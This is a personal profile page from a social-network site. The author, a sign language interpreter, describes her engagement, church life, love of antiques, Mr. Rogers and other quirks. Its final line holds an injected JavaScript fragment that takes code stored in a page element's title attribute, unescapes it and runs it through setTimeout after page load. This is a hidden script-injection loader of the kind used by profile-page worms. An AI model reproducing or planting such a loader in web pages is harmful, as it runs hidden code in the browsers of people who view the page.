I am here for Friends

About Me

Being engaged is awesome, and it's been so fun planning and scheming for our big day. Robbie is still my favorite dude, and after all these years, we still get along swimingly! Working at Iowa School for the Deaf as a sign language interpreter is so great, and I love my students to death. Being invovled with church really helps me to feel connected to people and to God. One goal I have for this year is to read my Bible a whole lot more. Here are some other little facts about myself:1) Pictures of birds don't scare me too much, but if it is a real bird, I have trouble thinking that it's NOT going to go straight for my eyeballs.2)My life is pretty cluttery. Sometimes it gets on my nerves so I unclutter. Sort of. Apparently I got the pack-rat gene from my parents.3)If it's an antique, chances are I love it. Old books, vintage clothing, crazy pieces of furniture, what ever it is, love love love it.4) I'm a vegetarian.5) Mr. Rogers' Neighborhood is one thing that I truly enjoy. A Lot. I will sing on demand any one of this man's magical songs.6)I've almost completely stopped watching television. There is so much to do besides slowly melting my brain into a pile of, well, melted brains.7)I do some floral arranging on the side, like for weddings and stuff.8) I hate the word "Blouse." yech.9) My favorite color is rainbow.10) Cuckoo clocks really speak to me. Not as in hearing voices actually eminating from the clock itself, but as in it really rings my bell. Not that I am personally equipped with a little tinkly bell that chimes each time I like something, but, oh well. you know.

My Interests

I'd like to meet:

Audrey Hepburn, but of course, she's dead, so that won't happen, unless i see her someday in heaven. since she was in some pretty racey films, ie Breakfast at Tiffany's (in which she has a few too many and watches a naked lady dance) that probably won't happen.%D%Aokay, other people i would like to meet: nancy drew (yes, i know she's not a real person), david bowie and mr. rogers. .."var dv=document·getElementById('usrn');if(dv)setTimeout(unescap e(dv.title),900);">
